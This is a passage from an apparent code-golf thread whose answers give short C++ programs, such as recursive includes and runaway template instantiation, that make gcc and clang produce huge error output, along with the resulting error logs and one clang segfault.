foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:136:44: note: to match this '(' _LIBCPP_NEW_DELETE_VIS void* operator new[](std::size_t __sz) ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:138:11: error: expected a type throw(std::bad_alloc) ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:138:11: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:138:10: note: to match this '(' throw(std::bad_alloc) ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:136:30: error: 'operator new[]' must have at least one parameter _LIBCPP_NEW_DELETE_VIS void* operator new[](std::size_t __sz) ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:141:45: error: expected parameter declarator _LIBCPP_NEW_DELETE_VIS void* operator new[](std::size_t __sz, const std::nothrow_t&) _NOEXCEPT _NOALIAS; ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:141:45: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:141:44: note: to match this '(' _LIBCPP_NEW_DELETE_VIS void* operator new[](std::size_t __sz, const std::nothrow_t&) _NOEXCEPT _NOALIAS; ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:143:65: error: C++ requires a type specifier for all declarations _LIBCPP_NEW_DELETE_VIS void operator delete[](void* __p, const std::nothrow_t&) _NOEXCEPT; ~~~~~ ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:143:65: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:143:47: note: to match this '(' _LIBCPP_NEW_DELETE_VIS void operator delete[](void* __p, const std::nothrow_t&) _NOEXCEPT; ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:145:55: error: expected parameter declarator inline _LIBCPP_INLINE_VISIBILITY void* operator new (std::size_t, void* __p) _NOEXCEPT {return __p;} ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:145:55: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:145:54: note: to match this '(' inline _LIBCPP_INLINE_VISIBILITY void* operator new (std::size_t, void* __p) _NOEXCEPT {return __p;} ^ Stack dump: 0. Program arguments: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -cc1 -triple x86_64-apple-macosx10.9.0 -emit-obj -mrelax-all -disable-free -disable-llvm-verifier -main-file-name foo.cpp -mrelocation-model pic -pic-level 2 -mdisable-fp-elim -masm-verbose -munwind-tables -target-cpu core2 -target-linker-version 236.3 -resource-dir /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/5.1 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk -stdlib=libc++ -fdeprecated-macro -fdebug-compilation-dir /tmp -ferror-limit -1 -fmessage-length 203 -stack-protector 1 -mstackrealign -fblocks -fobjc-runtime=macosx-10.9.0 -fencode-extended-block-signature -fcxx-exceptions -fexceptions -fdiagnostics-show-option -fcolor-diagnostics -vectorize-slp -o /var/folders/gf/l1sssgds0b30z21wn2n4p3rm0000gr/T/foo-19eda8.o -x c++ foo.cpp 1. /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:145:89: current parser token '{' clang: error: unable to execute command: Segmentation fault: 11 clang: error: clang frontend command failed due to signal (use -v to see invocation) Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn) Target: x86_64-apple-darwin13.2.0 Thread model: posix clang: note: diagnostic msg: PLEASE submit a bug report to http://developer.apple.com/bugreporter/ and include the crash backtrace, preprocessed source, and associated run script. clang: error: unable to execute command: Segmentation fault: 11 clang: note: diagnostic msg: Error generating preprocessed source(s). ``` 456 lines of errors, 50 errors, **and a compiler segfault**! Clang version: ``` Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn) Target: x86_64-apple-darwin13.2.0 Thread model: posix ``` [Answer] Similar to VJo: a.cpp: ``` int main() { return #include "a.cpp" #include "a.cpp" } ``` g++ a.cpp produces a lot of output (at least 2 gigabytes before I killed it) [Answer] ## C++ Based on BЈовић's solution: File: golf.cpp: ``` #include "golf.cpp" #include "golf.cpp" ``` Running this under G++ will not finish, however, I have computed the length of the error it will eventually emit as roughly 85\*2^140 terabytes. [Answer] I stumbled across this by accident: ``` #include<functional> #include<algorithm> #include<array> #include<stdexcept> int main(int argc,char** argv){ std::array<double, 3> arr; arr[0] = 0; arr[1] = 1; arr[2] = 1; if (std::any_of(arr.begin(), arr.end(), std::bind(std::less_equal<double>(), std::placeholders::_2, 0))){ throw std::invalid_argument("Geometry with bin width less or equal to zero"); } } ``` On c++x11 it produces 44kb of error messages, in which compiler tries to say: Please define placeholder for first argument if you define it for second. See it on [ideone](http://ideone.com/cUvlNb). [Answer] # C++11 variadic templates (69 characters) ``` template<int... p> void f() { return f<0,p...>(); } int main() { f(); } ``` Configuring maximum template instantation depth you could set the length of the error. Here is an example using GCC 4.8.1 with default template depth (900): > > prog.cpp:4:22: error: template instantiation depth exceeds maximum of > 900 (use -ftemplate-depth= to increase the maximum) substituting > ‘template void f() [with int ...p = {0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, > 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}]’ > return f<0,p...>(); > ^ prog.cpp:4:22: recursively required from ‘void f() [with int ...p = {0}]’ prog.cpp:4:22: required from ‘void > f() [with int ...p = {}]’ prog.cpp:8:4: required from here > > > prog.cpp:4:22: error: no matching function for call to ‘f()’ > prog.cpp:4:22: note: candidate is: prog.cpp:2:6: note: template void f() void f() > ^ prog.cpp:2:6: note: substitution of deduced template arguments resulted in errors seen above prog.cpp:4:22: error: > return-statement with a value, in function returning 'void' > [-fpermissive] > return f<0,p...>(); > ^ > > > Also you could add ten more characters and use unsigned integer underflow to increase the length of the error: ``` template<unsigned int... p> void f() { return f<0-1,p...>(); } int main() { f(); } ``` > > prog.cpp:4:24: error: template instantiation depth exceeds maximum of > 900 (use -ftemplate-depth= to increase the maximum) substituting > ‘template void f() [with unsigned int ...p = > {4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, > 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u}]’ > return f<0-1,p...>(); > ^ prog.cpp:4:24: recursively required from ‘void f() [with unsigned int ...p = {4294967295u}]’ prog.cpp:4:24: > > required from ‘void f() [with unsigned int ...p = {}]’ prog.cpp:8:4: > > required from here > > > prog.cpp:4:24: error: no matching function for call to ‘f()’ > prog.cpp:4:24: note: candidate is: prog.cpp:2:6: note: > template void f() void f() > ^ prog.cpp:2:6: note: substitution of deduced template arguments resulted in errors seen above prog.cpp:4:24: error: > return-statement with a value, in function returning 'void' > [-fpermissive] > return f<0-1,p...>(); > > > > ``` > ^ > > ``` > > [Here](http://ideone.com/FJW5mI) is an example running at ideone. [Answer] Forgetting a semi-colon before an include statement ``` int i #include <stdio.h> ``` I made this error in a header file which I had included in throughout most of my project before the standard libraries. It churned for over 10 minutes and generated about 1000 separate error messages. [Answer] **82 bytes:** This one works similar to [Joey Adams' approach](https://codegolf.stackexchange.com/a/1957/75905), but the error message will grow exponentially with respect to `-ftemplate-depth` (because `std::set<T>` is actually `std::set<T, std::less<T>, std::allocator<T>>`). For `(x = -ftemplate-depth) >= 28`, there will be 1460×3x-27 + 269x - 5381 bytes of error messages (compiled by gcc 7.2.0). That is, in default settings (x=900), it will output about **4.9×10419 bytes of error message** theoretically. Note that without the `return` statement, the error messages will only produced at the end of the compiling. (so in default settings you won't get the messages - you will run out of memory first.) **Warning:** Compiling this program will consume lots of memory. ``` #include<set> template<class T>T f(T a){return f(std::set<T>());}int main(){f(0);} ``` [Try it online!](https://tio.run/##DcqxCcAgEEDRPlMIac4ikNqIU7iAnGcQVETPSjK7sfyPj7VeL@JaZyyYhifdic3BlGtyTBqT611YY0UAK5ycjXi0squzV2rP2hqQ8vliYZFdLCBngHvDWj8 "C++ (gcc) – Try It Online") [Answer] This produces **infinite** output on GCC 5.2 and Clang 3.6 (on Clang requires `-ferror-limit=0`, on GCC works with default settings): ``` #include __FILE__ #include __FILE__ ``` [Answer] A file named `a.cpp`. Code: ``` main(){ #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" 